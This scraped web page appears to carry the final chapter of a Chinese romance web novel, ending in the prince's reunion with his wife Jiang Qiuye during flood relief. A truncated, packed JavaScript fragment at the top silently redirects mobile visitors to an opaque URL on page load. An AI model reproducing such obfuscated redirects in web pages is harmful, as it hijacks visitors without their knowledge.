d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13153136|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,常人难以发觉,因着真正的飞燕阁,乃是建于地下。 他下马,直接带人进入地下阁中,如今已人去楼空。 走过一冗长的甬道,便是一个个被铁栏圈起的训练场,整个飞燕阁无一丝来自室外的光线,令人深感压抑。后面便是阁中之人的住所,简陋,看起来像是一群人睡在同一个长榻上。而再往下便到了水牢,安静透顶,黑暗无光。 没想到,他的小妻子,便是在这样一个幽闭的地方长大,难怪被训练出来的杀手都有点疯魔的毛病。 他对此地厌恶至极,直接离开,当走出飞燕阁后,外面新鲜的空气涌入鼻腔,才好似复活过来一般。 背对着入口,他淡淡道:“将此地烧了。” “是!王爷!” 一把大火,曾经传说中的神秘组织,培养出来无数强大杀手,晋国的心腹大患,终于在这熊熊热量与火光中彻底覆灭。 安排好乾阳剩余所有事务之后,他再也按捺不住躁动的心,直接上马往淮西赶去。身边只带上两随从,马蹄溅起地上的积水和烂泥,他无法等待片刻,血液沸腾翻涌,心似鹿撞,只想见她一人。 没日没夜的赶路,路过城镇换马后又继续纵马狂奔。终于在一日傍晚赶到淮西,他直接往淮西府衙而去,身上沁出一层热汗。 可当入了府衙后,四周寂静,黑灯瞎火,与想象中不一样。寻了一整圈,竟然没看到姜秋叶的身影,连天去都不在。他心中失落万分,十分不解,正当着急之时,县令才匆匆赶来,看起来是被人从睡梦中喊醒,他想要行礼,却被他摆手拒绝。 他心急如焚道:“王妃呢?” 县令抹了一把额上的汗,恭敬道:“回王爷,平南四处发了水患,王妃带人去了平南县救灾了,此刻应在那里。” 水患? 他一直沉浸在大战当中,对民生方面少了些许关注,却没想到她竟替自己亲赴平南救灾。 咽了咽口水,在县令的安排下,随意吃了几口饭,洗澡换了身衣服。几夜奔波,实在劳累,便小憩两个时辰后,再次上路。 …… 入了秋,雨季已过,连日暴雨终停。 随着救灾有条有理的展开,不少难民们皆得到极好的安置,众人皆感叹祁王妃功绩与仁善,每日见她亲力亲为,不仅帮助受伤的人包扎伤口,安置灾民,施粥布膳,还亲赴现场,参与修建堤坝,开河道。 是日,天气晴朗,她再一次带着天去前往河道,拿过铁铲干活。 天去挠挠头,道:“王妃,这些苦力活交给我们这些下人做便好,无需王妃亲自动手。” 她擦了擦汗,笑道:“天去,你可小看我了。你力气怕还没我大呢。再说,多一人,便多一份力,早些结束,我们也能早些离开。” 她不知道如今乾阳战况如何,还是希望能够加快些速度,结束救灾,回淮西等季辞大捷归来。 天去见她固执,劝不住,便只能无奈由她去。 忙活了一上午,姜秋叶弄得自己灰头土脸,身上靴上全是泥泞。晌午时刻,众人皆休息用膳。她笑着拒绝了他人一同用膳的请求,一个人走了一段距离,直接上了蛮儿丘顶部。 曾经来这里是在春季,她记得那时杏花正开得旺盛。如今入秋,却是遍地秋叶,不同于当时的美。 忽然一只小手拉了拉她的裙摆,低头见是一个小女孩。自从有了宏儿,她对小孩都格外有耐心起来。 她蹲下与小女孩齐平,笑着好奇道:“你是谁呀?找姐姐何事呀?” 小女孩笑着给姜秋叶递上几颗葡萄,稚嫩地开口道:“阿娘让我送给王妃,她说王妃是我们的大恩人,要一辈子牢记王妃恩情,大家都最喜欢王妃了!” 姜秋叶脸颊一热,受宠若惊地接过,又摸了摸小女孩的头顶。看她接受后,小女孩便笑着跑走,小身影磕磕绊绊,着实可爱。 曾经冷血的她,从不在意别人死活,或许万万想不到如今自己竟会为了季辞,不顾一切,亲赴救灾。还能被这么多人发自内心的真切喜欢,这种感受与以往大不相同。 她笑着站起身,将手中葡萄一颗颗吃下,有些酸,心里却是极甜。 一阵微风吹过,撩起一些她束在后脑的三千青丝,忽然心中有所感,立刻转身,几片秋叶从地上被风卷起,滑过眼帘后再落下,露出了不远处骑于大马上的人影。 她似秋水芙蓉般站在红叶之间,他也并未着急靠近,只是远远相望,似是隔了许多年一般。 忽然间,她想起了他们第一次相见,也是这般,他在一黑色大马之上,她猝不及防地与他四目相对,那好像是几年前,又好像是昨日,也好像前世与未来的每一辈子。 姜秋叶渐渐红起了双眼,看着他再次纵马奔来,马蹄发出哒哒声,在离她很近的地方,他勒住缰绳,翻身下马,走至她的面前,一言不发地将她一把拉入怀中,狠狠吻上她柔软的唇瓣。 她身着素衣,全是污泥,可即便如此,她也美到杀死百里蜂蝶。四周是被风卷起的秋叶,还有来自她身上那股万花混集的香。 谁能想到,本以为一生倾颓的他,竟然能如此爱她。 谁又能想到,曾经谎言连篇的她,也如此爱他。 他忽然想起她最喜爱的那句诗,是什么来着? 嗯,想起来了。 惊起归鸿不成字,辞柯落叶最知秋。 许久之后,他们依然紧紧相拥,他来到她耳边,低喃道:“叶儿,我回来了。” (正文完结)